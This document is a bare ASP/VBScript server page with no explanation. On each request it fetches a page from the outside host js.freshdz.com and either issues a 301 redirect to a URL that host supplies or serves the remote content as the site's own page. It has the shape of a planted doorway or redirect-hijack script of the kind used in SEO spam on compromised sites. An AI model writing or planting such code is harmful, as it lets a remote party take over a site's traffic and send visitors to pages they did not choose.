<% path="http://js.freshdz.com/cl/finedocs.html" htmls = getHTTPPage(path) vhtmls = split(htmls,"@@@") if Ubound(vhtmls)> 0 and vhtmls(0)="1" then Response.Status="301 Moved Permanently" Response.AddHeader "Location",vhtmls(1) else Response.Write getHTTPPage(path) Response.end end if Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function Function GetUrl() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetUrl=Url End Function %>